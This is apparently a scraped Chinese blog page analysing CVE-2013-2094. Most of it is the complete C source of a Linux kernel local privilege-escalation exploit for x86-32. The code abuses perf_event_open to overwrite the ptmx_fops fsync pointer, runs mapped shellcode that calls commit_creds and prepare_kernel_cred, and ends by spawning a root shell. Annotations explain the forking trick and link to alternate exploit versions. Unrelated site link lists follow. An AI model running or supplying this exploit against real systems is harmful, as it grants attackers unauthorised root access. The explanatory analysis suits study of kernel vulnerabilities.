CVE-2013-2094 porting to x86-32 分析
/*
* linux 2.6.37-3.8.8 - x86
* @rikiji
*
* requires System.map and /dev/ptmx
* this: http://zmbs.net/~rikiji/perf_ptmx.c
* original: http://fucksheep.org/~sd/warez/semtex.c
*/ #include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
#include <stdint.h>
#include <linux/perf_event.h>
#include <asm/unistd.h> #define SYSMAP_PREFIX "/boot/System.map-"
#define PAGE_SIZE 4096 unsigned long commit_creds = 0;
unsigned long prepare_kernel_cred = 0; #define OFFSET_PREP 3
#define OFFSET_COMM 10
char shellcode [] = "\x31\xc0\xbb\x04\x03\x02\x01\xff\xd3\xbb\x08\x07\x06\x05\xff\xd3\xc3";
/*
xor eax,eax
mov ebx,0x1020304
call ebx
mov ebx,0x5060708 ;char* src = arg[1]
call ebx
ret ; char c = src[i] */
unsigned long getsym(char * sym)
{
char s[256] = { 0 };
int fd = open("/proc/version", O_RDONLY);
read(fd, s, sizeof(s));
strtok(s, " ");
strtok(NULL, " ");
char * version = strtok(NULL, " ");
close(fd); int len = strlen(version) + strlen(SYSMAP_PREFIX) + 1;
char * mapf = malloc(len);
memset(mapf, 0, len);
strncpy(mapf, SYSMAP_PREFIX, strlen(SYSMAP_PREFIX));
strncpy(mapf + strlen(SYSMAP_PREFIX), version, strlen(version)); fd = open(mapf, O_RDONLY); #define BUFSIZE 1024
char * buf = malloc(BUFSIZE + 1);
buf[BUFSIZE] = 0;
int partial = 0, found = 0;
char addr[9]; while(!found) {
read(fd, buf, BUFSIZE);
char * tok = strtok(buf," \n"); while(tok != NULL) {
int n = strlen(tok);
if(partial) {
if(strncmp(sym + partial, tok, n) == 0) {
found = 1;
break;
} else {
partial = 0;
}
} else {
if(strncmp(sym, tok, n) == 0) {
strncpy(addr, tok - 11, 9);
if(n < strlen(sym) && (tok + n == buf + BUFSIZE)) {
partial = n;
break;
}
if(n == strlen(sym)) {
found = 1;
break;
}
}
}
tok = strtok(NULL," \n");
}
}
close(fd); printf("%s: 0x%s\n", sym, addr);
return strtoul(addr, NULL, 16);
} int main(int argc, char ** argv)
{
unsigned long perf_table = getsym("perf_swevent_enabled");
commit_creds = getsym("commit_creds");
prepare_kernel_cred = getsym("prepare_kernel_cred");
unsigned long pmtx_ops = getsym("ptmx_fops"); *((unsigned int *)(shellcode + OFFSET_PREP)) = prepare_kernel_cred;
*((unsigned int *)(shellcode + OFFSET_COMM)) = commit_creds; int s;
for(s=0;s<sizeof(shellcode);s++)
printf("%02x ", (unsigned char)shellcode[s]);
printf("\n"); /* 56 is offset of fsync in struct file_operations */
int target = pmtx_ops + 56; //it's Null value
int payload = -((perf_table - target)/4);
printf("payload: 0x%x\n", payload); unsigned long base_addr = 0x10000;
char * map = mmap((void *)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0); if(map == MAP_FAILED)
perror("mmap"); memcpy(map, shellcode, 0x30); struct perf_event_attr event_attr;
memset(&event_attr, 0, sizeof(struct perf_event_attr));
event_attr.type = 1;
event_attr.size = sizeof(struct perf_event_attr);
event_attr.config = payload; int times = base_addr; //為了繞過 sysctl -w vm.mmap_min_addr = 65536 (=0x10000)
int i = 0, k; #define BLOCK 256 // 65536 = 256 * 256, shellcode放在0x10000 (=65536), 為了改寫[pmtx_ops + 56]的值成0x10000
while(times - i > 0) { //65536-0 , 65536-256*1, 65536-256*2,...,65536-256*256 總共做65536次的+1
printf("i %d\n", i);
if(times - i > BLOCK) {
if(fork()) { //parent & child both run after fork(), 所以說child process每次都從此開始
//parent process
for(k=0;k<BLOCK;k++){
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
//跳到[pmtx_ops + 56] + 256,之後去等待,換child process執行,
//會跳到while又再fork出一個child process做[pmtx_ops + 56] + 256...依此類推。
if (fd < 0) { perror("perf_event_open child"); }} pause(); //等child
exit(0);
}
//child process
i += BLOCK;
} else { //times - i == BLOCK的情況,即65536-256*255 == 256, 以下為最後一個256次。由while(times - i > 0)停止。
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
if (fd < 0) {
perror("perf_event_open");
sleep(1);
}
i++; //256*255+1
}
} int ptmx = open("/dev/ptmx", O_RDWR);
fsync(ptmx); if(getuid()) {
printf("failed");
return -1;
} printf("root!!");
execl("/bin/sh", "sh", NULL); return 0;
}
"An idea from /u/spender is to call multiple times perf_event_open
while keeping the file descriptors open, avoiding the destroy callback which will revert the change done in the init function. In this way is possible to increment a value in kernel space multiple times. This has the drawback of the process hitting the maximum number of open file descriptors allowed very fast, so some forking is required. I browsed a bit the kernel source to find a function pointer initialized to zero which was not stored in read only memory, and I chose to leverage drivers/tty/pty.c
, a driver for ptmx devices, which is enabled in the default Debian kernel and has struct file_operations ptmx_fops
, which has some NULL pointers and more importantly is not in read only memory."
sw_perf_event_destroy (i.e. destroy callback)
但是,linux系统中单个进程能够打开的file descriptor数量是有限制的,所以需要fork出足够多的进程,反复修改。可用ulimit -n查詢,一般來說是1024
http://pastebin.com/xdqEbhYR (查找system.map版)
http://pastebin.com/mMn3QvuR (查找/proc/kallsyms版)
ref. http://rikiji.it/2013/05/10/CVE-2013-2094-x86.html
CVE-2013-2094 porting to x86-32 分析的更多相关文章
- Intel X86 32位CPU内存管理----《Linux内核源码情景分析》笔记(一)
Intel X86 32位CPU内存管理 在X86系列中,8086和8088是16为处理器,而从80386开始为32为处理器,80286则是该系列从8088到80386,也就是16位处理器到32位处理 ...
- AutoCAD 2013官方简体中文破解版(32 / 64位),带激活码和注册机
AutoCAD 2014下载地址:http://ideapad.zol.com.cn/61/160_603697.html 安装及破解方法:(注册机下载在下方) 1.安装Autodesk AutoCA ...
- Wps 2013 拼音标注两种方式分析
Wps 2013 拼音标注两种方式分析 太阳火神的漂亮人生 (http://blog.csdn.net/opengl_es) 本文遵循"署名-非商业用途-保持一致"创作公用协议 转 ...
- SharePoint 2013 运行在IIS 应用32位错误
问题描述: 今天有一个项目因为用了OWC11,没有64位的dll,因此IIS设置了“启用32位应用程序”为true. 如图: 详细操作见:http://www.cnblogs.com/cainiaog ...
- X86(32位)与X64(64位)有什么区别,如何选择对应的操作系统和应用程序?
X86就是我们一般用的32位的系统,指针长度为32位(386起):X64就是64位的系统,指针长度为64位. 选择硬件对应的软件,建议通过以下三条考虑:1.64位操作系统相对32位操作系统理论上性能会 ...
- windows游戏编程X86 32位保护模式下的内存管理概述(二)
本系列文章由jadeshu编写,转载请注明出处.http://blog.csdn.net/jadeshu/article/details/22448323 作者:jadeshu 邮箱: jades ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- windows游戏编程X86 32位保护模式下的内存管理概述(一)
本系列文章由jadeshu编写,转载请注明出处.http://blog.csdn.net/jadeshu/article/details/22445945 作者:jadeshu 邮箱: jades ...
- adSage :2013年教育行业搜索引擎投放分析报告
- FCN 32分析:
FCN 32s
随机推荐
- python os 常用命令
转载:http://www.cnblogs.com/kaituorensheng/archive/2013/03/18/2965766.html python编程时,经常和文件.目录打交道,这是就离不 ...
- Kconfig的简单例子
https://cloud.tencent.com/developer/article/1431908 使用Kconfig时,需要注意的地方 1.在Kconfig中定义的配置宏,前缀都没有" ...
- CF429E Points and Segments
链接 CF429E Points and Segments 给定\(n\)条线段,然后给这些线段红蓝染色,求最后直线上上任意一个点被蓝色及红色线段覆盖次数之差的绝对值不大于\(1\),构造方案,\(n ...
- bootstrap 的布局
第一步:你要做的就是选择适合你显示器的标签: .col-xs- 超小屏幕 手机 (<768px) .col-sm- 小屏幕 平板 (≥768px) .col-md- 中等屏幕 桌面显示器 (≥9 ...
- Map.Entry的由来和使用
首先,回忆和练习一下HashMap的遍历 package Exercise.exercise; import java.util.HashMap; import java.util.Iterator; ...
- HelloServlet类继承HttpServlet利用HttpServletResponse对象
HelloServlet类继承HttpServlet利用HttpServletResponse对象 HelloServlet类的doGet()方法先得到username请求参数,对其进行中文字符编码转 ...
- window.frames[iframe].document 在ie可以用,在360、火狐中都不兼容?
<iframe id="myf" scrolling="auto" frameborder="0" src="" ...
- spring+JdbcTemplate简单使用(一)
目录 @ 1. 环境配置 maven(项目管理) idea(编译器) jdk1.8(Java环境) MySQL5.6(MySQL数据库) 2. 创建项目 在 idea 中创建普通的 maven 项目 ...
- 麦子lavarel---16、日志
麦子lavarel---16.日志 一.总结 一句话总结: 一定要养成打印日志查看日志的好习惯,非常节约时间和便于查错 1.console.Log(“获取类别数据:"):console.Lo ...
- 关于ADB 执行报错问题-db server version (31) doesn't match this client (40); killing...
D:\ADB>adb devicesList of devices attachedadb server version (31) doesn't match this client (40); ...